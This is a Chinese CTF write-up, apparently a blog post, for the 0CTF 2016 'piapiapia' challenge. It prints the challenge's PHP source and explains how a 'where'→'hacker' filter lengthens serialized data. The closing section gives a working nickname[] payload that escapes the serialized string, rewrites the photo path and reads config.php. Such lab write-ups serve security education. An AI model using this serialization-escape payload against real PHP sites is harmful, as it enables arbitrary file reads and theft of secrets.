0CTF-2016-piapiapia-PHP反序列化长度变化尾部字符串逃逸

0X00

扫描一下网站目录,得到网站源码,这里说下工具使用的是dirmap,亲测御剑不好用。。。

0x01

审计源码:
index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

一个简单的登陆,没啥特别信息,继续看。
config,php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>


看到flag字眼,猜测flag就在这个页面,需要我们读出来。
继续看:register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

继续看:class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

这段非常长的代码应该就是核心代码了,仔细看
发现:一个标准的sql注入过滤函数

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

这里就是我们今天的漏洞点:PHP反序列化长度变化尾部字符串逃逸
这个标准的sql注入过滤函数,过滤的反斜线和单引号,同时把一些危险的字符串例如‘select’等做了替换。 这么看没什么问题,但是如果了解序列化的机制的话,就会发现其中隐含的漏洞点。 ‘select’、‘insert’、‘update’、‘delete’、‘where’这5个字符串,均会被替换为‘hacker’。前4个字符串为6个字符,而‘where’为5个字符,‘hacker’为6个字符。这意味着只有字符串中存在‘where’时会发生长度的改变。而list在被序列化成字符串时,其每一部分的长度均以例如‘s:5’的形式被固定在了字符串中,在反序列化时会按照这个值去还原数组。 举个例子,$a = array(‘where’)序列化后的字符串为‘a:1{i:0;s:5:”where”;}’,这串字符串在经过过滤函数替换操作后变成了‘a:1{i:0;s:5:”hacher”;}’,这会导致在反序列化时‘hacker’的最后一个字母‘r’读不到,从而导致出错。 于是我们可以利用这点,构造一定量的‘where’字符加上序列化控制符号覆盖掉其后的字符串,使得反序列化后的值为我们所控。
继续审计源码
发现在updata.php中

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

发现这段:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

如果nickname为数组即可绕过过滤,结合序列化的漏洞,我们就可以控制其后的photo变量,做到任意文件读取
继续审计:profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

关键代码:

$photo = base64_encode(file_get_contents($profile['photo']));

0x02这里结合上面的反序列化漏洞

这里讲下我的理解,就是利用大量的where(5字符),让他被WAF转化为hacker(6字符),因为序列化后他的字符都是固定的,
【$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}】
在我们进行反序列化时,他还原时也是5字符,但是我们的hacker是6字符,所以会报错,忽略掉这些错误字符,
构造一定量的‘where’字符加上序列化控制符号覆盖掉其后的字符串,就执行了我们在大量where后想要包含的文件。使得反序列化后的值为我们所控。
这里我们想要传入的值:
";}s:5:"photo";s:10:"config.php";}
解释一下:
前面的";}用来闭合我们的nickname数组
后面的";}来闭合我们传入的字符串,忽略掉后面的值。
我们的这些传入值一共34个字符串
所以我们需要传入34个where因为他反序列化后键值一致才不会报错,所以要有34个where。
最后我们的payload:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

bp抓包在updata.php页面进行修改:
注意上传图片有限制,我试了一下我的是34KB上传成功,太大或者太小都不行。

然后访问profile.php页面,查看源代码解base64得到flag.

参考链接:https://blog.csdn.net/zz_Caleb/article/details/96777110

posted @ 2019-11-21 21:10  王叹之  阅读(278)  评论(0编辑  收藏